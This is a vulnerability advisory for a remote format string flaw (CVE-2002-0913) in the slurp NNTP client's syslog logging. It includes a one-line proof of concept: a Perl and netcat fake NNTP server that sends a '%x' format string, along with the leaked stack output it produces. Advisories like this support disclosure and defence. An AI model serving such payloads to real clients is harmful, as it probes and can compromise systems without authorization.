Slurp SysLog Remote Format String Vulnerability

BID:4935

Info

Slurp SysLog Remote Format String Vulnerability

Bugtraq ID: 4935
Class: Input Validation Error
CVE: CVE-2002-0913
Remote: Yes
Local: No
Published: Jun 04 2002 12:00AM
Updated: Jul 11 2009 01:56PM
Credit: Vulnerability discovery credited to zillion <[email protected]>.
Vulnerable: Stephen Hebditch slurp 1.10
- FreeBSD FreeBSD 4.5
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 4.1.1
Not Vulnerable:

Discussion

Slurp SysLog Remote Format String Vulnerability

slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.

It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.

Exploit / POC

Slurp SysLog Remote Format String Vulnerability

This proof of concept was made available by zillion &lt;[email protected]&gt;:

To find out you have a vulnerable slurp, connect to this:

perl -e 'print "200 Hello brother \n666 %x%x%x\n'" | nc -l -p 119

Then check /var/log/messages for something like:

Jun 5 05:10:22 yada slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'

Solution / Fix

Slurp SysLog Remote Format String Vulnerability

Solution:
This package was last maintained on February of 1995. A vendor-supplied fix is unlikely.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Slurp SysLog Remote Format String Vulnerability

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